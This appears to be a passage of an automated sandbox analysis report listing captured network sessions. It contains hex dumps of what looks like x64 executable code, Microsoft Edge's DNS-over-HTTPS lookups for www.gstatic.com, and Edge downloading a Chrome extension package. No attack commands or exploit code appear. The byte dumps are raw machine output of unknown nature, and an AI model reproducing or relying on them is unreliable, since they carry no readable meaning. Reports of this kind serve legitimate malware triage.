                                                                                                                                                                          2024-12-23 07:40:01 UTC16384INData Raw: 84 24 88 00 00 00 89 74 24 50 4d 8b c5 48 89 44 24 48 8b d7 8b 84 24 18 01 00 00 89 44 24 40 8b 84 24 20 01 00 00 89 44 24 38 8b 44 24 60 89 5c 24 30 44 89 74 24 28 89 44 24 20 e8 5c 00 00 00 48 8b b4 24 28 01 00 00 8b d8 48 8b ce e8 8e 87 00 00 48 8b ce c7 46 10 01 00 00 00 89 1e e8 59 73 00 00 85 c0 0f 84 71 49 04 00 83 ff 1d 74 08 49 8b cd e8 ac bf 01 00 45 33 f6 48 8d 4c 24 70 e8 5b 87 00 00 41 8b c6 48 81 c4 c8 00 00 00 41 5f 41 5e 41 5d 41 5c 5f 5e 5d 5b c3 48 8b c4 48 89 58 20 4c 89 40 18 48 89 48 08 55 56 57 41 54 41 55 41 56 41 57 48 8d 68 c1 48 81 ec 90 00 00 00 8b 3d e1 80 0e 00 45 33 ed 41 8b d9 44 8b fa 83 fa 0c 0f 84 33 49 04 00 83 fa 0d 7e 1b 83 fa 0f 0f 8e 25 49 04 00 83 fa 11 0f 84 1c 49 04 00 83 fa 14 0f 84 13 49 04 00 83 ff ff 0f 84 36
                                                                                                                                                                          Data Ascii: $t$PMHD$H$D$@$ D$8D$`\$0Dt$(D$ \H$(HHFYsqItIE3HL$p[AHA_A^A]A\_^][HHX L@HHUVWATAUAVAWHhH=E3AD3I~%III6
                                                                                                                                                                          2024-12-23 07:40:01 UTC16384INData Raw: c1 89 83 c8 00 00 00 3b 53 1c 0f 8d e6 42 04 00 4c 63 9d 58 01 00 00 41 3b d3 0f 8f eb 42 04 00 8b 43 18 48 8b 7b 10 41 2b c1 49 63 d0 8b 04 87 89 04 97 41 8d 40 01 48 8b 7c 24 48 49 8b d7 48 2b 93 98 00 00 00 48 d1 fa 48 63 c8 48 8b 43 10 89 14 88 8b 95 48 01 00 00 45 3b d8 0f 8f 8e fb ff ff 45 8d 58 02 44 89 9d 58 01 00 00 e9 7e fb ff ff 83 ff 10 0f 85 39 03 00 00 8b 95 48 01 00 00 49 83 c6 06 e9 af fa ff ff 49 83 c6 02 83 c7 ab 49 8b ce 40 f6 c7 01 74 06 41 bd 01 00 00 00 46 0f be 9c 1f f8 80 0c 00 8b c7 48 8d 3d 4e 33 ff ff 44 89 5c 24 58 44 0f be 94 38 e8 80 0c 00 44 89 54 24 50 45 85 d2 75 0c b8 ff ff ff 7f 44 8b d0 89 44 24 50 bf 01 00 00 00 45 0f b7 0e 4c 8d 71 02 44 89 4c 24 54 41 8d 41 f1 83 f8 01 0f 86 da 6d 04 00 48 c7 c0 ff ff ff ff 8b c8 89
                                                                                                                                                                          Data Ascii: ;SBLcXA;BCH{A+IcA@H|$HIH+HHcHCHE;EXDX~9HIII@tAFH=N3D\$XD8DT$PEuDD$PELqDL$TAAmH
                                                                                                                                                                          2024-12-23 07:40:01 UTC16384INData Raw: 00 00 49 8b 0c df 49 8b d5 e8 16 40 01 00 49 89 3c df 48 ff c3 49 3b de 72 e8 4c 8b 6c 24 48 e9 cf fa ff ff 4c 8d 3d d5 f3 fe ff 49 8b 5c fd 00 48 85 db 74 61 48 8b 73 08 48 85 f6 74 36 48 8b 46 18 ff 08 48 8b 46 18 44 39 30 75 16 48 8b 0e e8 cf 3f 01 00 48 8b 4e 18 ba 04 00 00 00 e8 c1 3f 01 00 ba 20 00 00 00 48 8b ce e8 b4 3f 01 00 4c 89 73 08 8b 43 10 83 f8 05 0f 8d f6 00 00 00 b8 01 00 00 00 44 89 33 48 8b cb 89 43 10 8d 50 17 e8 8e 3f 01 00 4d 89 74 fd 00 48 ff c7 49 3b fc 72 88 e9 62 fa ff ff 44 8b 5c 24 40 45 33 c0 48 8b 9d a8 00 00 00 e9 ac f6 ff ff 41 83 e9 01 0f 88 dd fa ff ff 41 ff c2 41 ff c0 e9 a0 fa ff ff 48 8b 9d b0 00 00 00 48 8b cb c6 00 00 e8 fd 06 00 00 49 8b c7 89 43 10 33 c0 89 03 e9 93 f8 ff ff 49 8b 0a 48 8b 17 48 85 c0 74 20 44 0f
                                                                                                                                                                          Data Ascii: II@I<HI;rLl$HL=I\HtaHsHt6HFHFD90uH?HN? H?LsCD3HCP?MtHI;rbD\$@E3HAAAHHIC3IHHt D
                                                                                                                                                                          2024-12-23 07:40:01 UTC16384INData Raw: e8 db c7 ff ff 48 8d 15 94 9e 0d 00 49 8b cc e8 dc 05 00 00 c6 44 24 51 00 e9 86 fd ff ff 80 7c 24 51 00 0f 85 89 aa 04 00 49 8b dc e9 93 fd ff ff 44 8b 6c 24 40 4c 8b 64 24 48 4c 8b 74 24 38 4c 89 64 24 58 4c 89 b5 88 00 00 00 45 85 ed 0f 84 c6 b6 04 00 41 83 fd 01 0f 85 d0 b6 04 00 49 8b d6 48 8d 4d 90 48 c7 45 98 00 00 00 00 e8 7d 05 00 00 48 8d 4d 90 e8 3c fe fe ff 84 c0 0f 85 75 02 00 00 83 fb 07 75 62 48 8b 55 78 4d 8b c7 e8 9b 94 00 00 85 c0 0f 88 f3 b8 04 00 83 fb 08 0f 84 a2 b6 04 00 41 83 fd 01 0f 85 b5 b6 04 00 49 8b de 48 8b cb e8 25 c7 ff ff c6 03 00 80 7c 24 34 00 c7 43 10 09 00 00 00 0f 85 ae b6 04 00 80 7d 88 00 0f 84 c6 b6 04 00 b0 01 48 ff cf 88 45 89 48 89 7c 24 78 88 44 24 34 48 8d 4d 90 e8 ec c6 ff ff 48 8b 7d 78 e9 fe ef ff ff 83 f8
                                                                                                                                                                          Data Ascii: HID$Q|$QIDl$@Ld$HLt$8Ld$XLEAIHMHE}HM<uubHUxMAIH%|$4C}HEH|$xD$4HMH}x
                                                                                                                                                                          2024-12-23 07:40:01 UTC16384INData Raw: 8d 05 6a eb 06 00 48 89 45 f0 48 8d 05 5f fb 09 00 48 89 05 d8 2f 0d 00 48 8d 05 41 ec 06 00 48 c7 45 f8 00 00 00 00 0f 11 05 7a 2f 0d 00 c7 05 5c 2f 0d 00 01 00 00 00 0f 10 45 f0 48 89 45 f0 48 8d 05 d1 04 0a 00 48 89 05 ca 2f 0d 00 48 8d 05 4b f0 06 00 48 c7 45 f8 00 00 00 00 0f 29 05 6c 2f 0d 00 0f 10 45 f0 48 89 45 f0 48 8d 05 f5 05 0a 00 48 89 05 c6 2f 0d 00 48 8d 05 c7 f1 06 00 48 c7 45 f8 00 00 00 00 0f 11 05 68 2f 0d 00 66 c7 05 ff 2e 0d 00 00 00 0f 10 45 f0 48 89 45 f0 48 8d 05 b8 ef 09 00 48 89 05 b9 2f 0d 00 48 8d 05 fe f3 06 00 48 c7 45 f8 00 00 00 00 0f 29 05 5b 2f 0d 00 0f 10 45 f0 48 89 45 f0 48 8d 05 f4 05 0a 00 48 c7 45 f8 00 00 00 00 0f 11 05 65 2f 0d 00 48 89 05 a6 2f 0d 00 48 8d 05 bb 5a 00 00 0f 10 45 f0 48 89 45 f0 48 8d 05 a0 f7 09
                                                                                                                                                                          Data Ascii: jHEH_H/HAHEz/\/EHEHH/HKHE)l/EHEHH/HHEh/f.EHEHH/HHE)[/EHEHHEe/H/HZEHEH
                                                                                                                                                                          2024-12-23 07:40:01 UTC16384INData Raw: 00 c7 05 89 12 0d 00 02 00 00 00 66 c7 05 84 12 0d 00 00 00 c7 05 9a 12 0d 00 02 00 00 00 c7 05 94 12 0d 00 02 00 00 00 66 c7 05 8f 12 0d 00 00 00 c7 05 a5 12 0d 00 02 00 00 00 c7 05 9f 12 0d 00 03 00 00 00 66 c7 05 9a 12 0d 00 00 00 c7 05 b0 12 0d 00 01 00 00 00 c7 05 aa 12 0d 00 01 00 00 00 66 c7 05 a5 12 0d 00 00 00 48 89 05 a6 12 0d 00 48 c7 45 f8 00 00 00 00 48 8d 05 73 6a 08 00 48 89 45 f0 48 8d 05 d4 a4 09 00 0f 10 45 f0 48 89 05 a9 12 0d 00 48 8d 05 72 6c 08 00 48 89 45 f0 48 8d 05 17 b0 09 00 48 89 05 b8 12 0d 00 48 8d 05 99 6e 08 00 48 c7 45 f8 00 00 00 00 0f 29 05 5a 12 0d 00 0f 10 45 f0 48 89 45 f0 48 8d 05 8b b1 09 00 48 89 05 b4 12 0d 00 48 8d 05 81 ab fe ff 48 c7 45 f8 00 00 00 00 0f 11 05 56 12 0d 00 c7 05 34 12 0d 00 02 00 00 00 0f 10 45
                                                                                                                                                                          Data Ascii: ffffHHEHsjHEHEHHrlHEHHHnHE)ZEHEHHHHEV4E
                                                                                                                                                                          2024-12-23 07:40:01 UTC16384INData Raw: 45 33 ff 48 8b 55 88 44 8b 4d a8 66 89 42 04 4c 8b 55 80 bb 52 00 00 00 4c 8b 85 a0 01 00 00 41 8b 88 88 00 00 00 8d 41 01 41 89 80 88 00 00 00 81 f9 fa 00 00 00 0f 8d dc 6b 04 00 b8 80 00 00 00 4d 8b d0 44 3b e8 0f 86 c5 54 04 00 49 8b 42 40 49 2b 42 20 48 d1 f8 48 89 45 18 48 89 55 c8 4c 8b b5 a8 01 00 00 41 8b cf 66 44 89 2a 45 8b c7 41 8b ba 98 00 00 00 49 8b c6 41 8b 5a 70 48 f7 d8 48 89 55 00 48 8d 45 10 48 1b d2 44 89 7d 10 48 23 d0 b8 87 00 00 00 48 89 54 24 70 44 3b e8 4c 89 54 24 68 41 8d 45 81 0f 94 c1 48 8d 55 00 41 3b c3 8b 85 98 01 00 00 41 0f 96 c0 03 c1 48 8b 8d 90 01 00 00 48 89 4c 24 60 48 8d 4d 38 48 89 4c 24 58 48 8d 4d 54 48 89 4c 24 50 48 8d 4d 50 48 89 4c 24 48 48 8d 8d 8c 00 00 00 48 89 4c 24 40 41 8b cc 89 44 24 38 89 74 24 30 48
                                                                                                                                                                          Data Ascii: E3HUDMfBLURLAAAkMD;TIB@I+B HHEHULAfD*EAIAZpHHUHEHD}H#HT$pD;LT$hAEHUA;AHHL$`HM8HL$XHMTHL$PHMPHL$HHHL$@AD$8t$0H
                                                                                                                                                                          2024-12-23 07:40:01 UTC16384INData Raw: 22 11 ff d0 48 83 c4 20 4c 8b 65 c0 4c 8b 6d c8 4c 8b 75 d0 4c 8b 7d d8 48 8b 5d e0 48 8b e5 5d c3 cc cc cc e9 8b 85 fe ff cc cc cc 40 53 48 83 ec 20 48 8b d9 eb 0f 48 8b cb e8 1d 46 00 00 85 c0 74 13 48 8b cb e8 5d 01 01 00 48 85 c0 74 e7 48 83 c4 20 5b c3 48 83 fb ff 74 06 e8 9f 09 00 00 cc e8 b9 09 00 00 cc e9 bf ff ff ff cc cc cc 48 83 ec 28 e8 57 0b 00 00 85 c0 74 21 65 48 8b 04 25 30 00 00 00 48 8b 48 08 eb 05 48 3b c8 74 14 33 c0 f0 48 0f b1 0d 9c a2 0c 00 75 ee 32 c0 48 83 c4 28 c3 b0 01 eb f7 cc cc cc 40 53 48 83 ec 20 0f b6 05 87 a2 0c 00 85 c9 bb 01 00 00 00 0f 44 c3 88 05 77 a2 0c 00 e8 86 09 00 00 e8 19 19 00 00 84 c0 75 04 32 c0 eb 14 e8 a4 5f 01 00 84 c0 75 09 33 c9 e8 35 19 00 00 eb ea 8a c3 48 83 c4 20 5b c3 cc cc cc 40 53 48 83 ec 40 80
                                                                                                                                                                          Data Ascii: "H LeLmLuL}H]H]@SH HHFtH]HtH [HtH(Wt!eH%0HHH;t3Hu2H(@SH Dwu2_u35H [@SH@


                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                          3192.168.2.949777172.64.41.34433856C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                          2024-12-23 07:40:07 UTC245OUTPOST /dns-query HTTP/1.1
                                                                                                                                                                          Host: chrome.cloudflare-dns.com
                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                          Content-Length: 128
                                                                                                                                                                          Accept: application/dns-message
                                                                                                                                                                          Accept-Language: *
                                                                                                                                                                          User-Agent: Chrome
                                                                                                                                                                          Accept-Encoding: identity
                                                                                                                                                                          Content-Type: application/dns-message
                                                                                                                                                                          2024-12-23 07:40:07 UTC128OUTData Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                          Data Ascii: wwwgstaticcom)TP
                                                                                                                                                                          2024-12-23 07:40:08 UTC247INHTTP/1.1 200 OK
                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                          Date: Mon, 23 Dec 2024 07:40:07 GMT
                                                                                                                                                                          Content-Type: application/dns-message
                                                                                                                                                                          Connection: close
                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                          Content-Length: 468
                                                                                                                                                                          CF-RAY: 8f66b3a55f39429e-EWR
                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                          2024-12-23 07:40:08 UTC468INData Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ff 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                          Data Ascii: wwwgstaticcom c)


                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                          4192.168.2.949776172.64.41.34433856C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                          2024-12-23 07:40:07 UTC245OUTPOST /dns-query HTTP/1.1
                                                                                                                                                                          Host: chrome.cloudflare-dns.com
                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                          Content-Length: 128
                                                                                                                                                                          Accept: application/dns-message
                                                                                                                                                                          Accept-Language: *
                                                                                                                                                                          User-Agent: Chrome
                                                                                                                                                                          Accept-Encoding: identity
                                                                                                                                                                          Content-Type: application/dns-message
                                                                                                                                                                          2024-12-23 07:40:07 UTC128OUTData Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                          Data Ascii: wwwgstaticcom)TP
                                                                                                                                                                          2024-12-23 07:40:08 UTC247INHTTP/1.1 200 OK
                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                          Date: Mon, 23 Dec 2024 07:40:07 GMT
                                                                                                                                                                          Content-Type: application/dns-message
                                                                                                                                                                          Connection: close
                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                          Content-Length: 468
                                                                                                                                                                          CF-RAY: 8f66b3a55f834350-EWR
                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                          2024-12-23 07:40:08 UTC468INData Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 08 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                          Data Ascii: wwwgstaticcomPc)


                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                          5192.168.2.949778172.64.41.34433856C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                          2024-12-23 07:40:07 UTC245OUTPOST /dns-query HTTP/1.1
                                                                                                                                                                          Host: chrome.cloudflare-dns.com
                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                          Content-Length: 128
                                                                                                                                                                          Accept: application/dns-message
                                                                                                                                                                          Accept-Language: *
                                                                                                                                                                          User-Agent: Chrome
                                                                                                                                                                          Accept-Encoding: identity
                                                                                                                                                                          Content-Type: application/dns-message
                                                                                                                                                                          2024-12-23 07:40:07 UTC128OUTData Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                          Data Ascii: wwwgstaticcom)TP
                                                                                                                                                                          2024-12-23 07:40:08 UTC247INHTTP/1.1 200 OK
                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                          Date: Mon, 23 Dec 2024 07:40:07 GMT
                                                                                                                                                                          Content-Type: application/dns-message
                                                                                                                                                                          Connection: close
                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                          Content-Length: 468
                                                                                                                                                                          CF-RAY: 8f66b3a5aa112395-EWR
                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                          2024-12-23 07:40:08 UTC468INData Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 16 00 04 8e fb 28 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                          Data Ascii: wwwgstaticcom()


                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                          6192.168.2.949803172.217.17.654433856C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                          2024-12-23 07:40:11 UTC594OUTGET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1
                                                                                                                                                                          Host: clients2.googleusercontent.com
                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                          Sec-Fetch-Site: none
                                                                                                                                                                          Sec-Fetch-Mode: no-cors
                                                                                                                                                                          Sec-Fetch-Dest: empty
                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
                                                                                                                                                                          Accept-Encoding: gzip, deflate, br
                                                                                                                                                                          Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
                                                                                                                                                                          2024-12-23 07:40:11 UTC570INHTTP/1.1 200 OK
                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                          Content-Length: 154477
                                                                                                                                                                          X-GUploader-UploadID: AFiumC6peKbeaD5AAOFIFpIY4iRMz0r723tdQqjZ-_sZLw4H2KJ7KzMpVkWBpbUuXqhVSHwrJ2iSn3M
                                                                                                                                                                          X-Goog-Hash: crc32c=F5qq4g==
                                                                                                                                                                          Server: UploadServer
                                                                                                                                                                          Date: Sun, 22 Dec 2024 15:58:14 GMT
                                                                                                                                                                          Expires: Mon, 22 Dec 2025 15:58:14 GMT
                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                          Age: 56517
                                                                                                                                                                          Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT
                                                                                                                                                                          ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083
                                                                                                                                                                          Content-Type: application/x-chrome-extension
                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                          Connection: close
                                                                                                                                                                          2024-12-23 07:40:11 UTC820INData Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08
                                                                                                                                                                          Data Ascii: Cr240"0*H0^1"wgt2JG1)X4=&?[j,Lzjue[Iq*Ba/XPhL2%3_oH)'=e?j3UH|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
                                                                                                                                                                          2024-12-23 07:40:11 UTC1390INData Raw: d5 b5 fc 3c 0f e3 f9 d2 ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c
                                                                                                                                                                          Data Ascii: <Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rt
                                                                                                                                                                          2024-12-23 07:40:11 UTC1390INData Raw: b0 78 c3 9a 50 64 5d fb 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 77 c9 57 62 8f 5b 75
                                                                                                                                                                          Data Ascii: xPd]@uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[u
                                                                                                                                                                          2024-12-23 07:40:11 UTC1390INData Raw: d6 e1 6d c0 c8 18 51 ae 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17
                                                                                                                                                                          Data Ascii: mQVkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G|?6:{r;iG
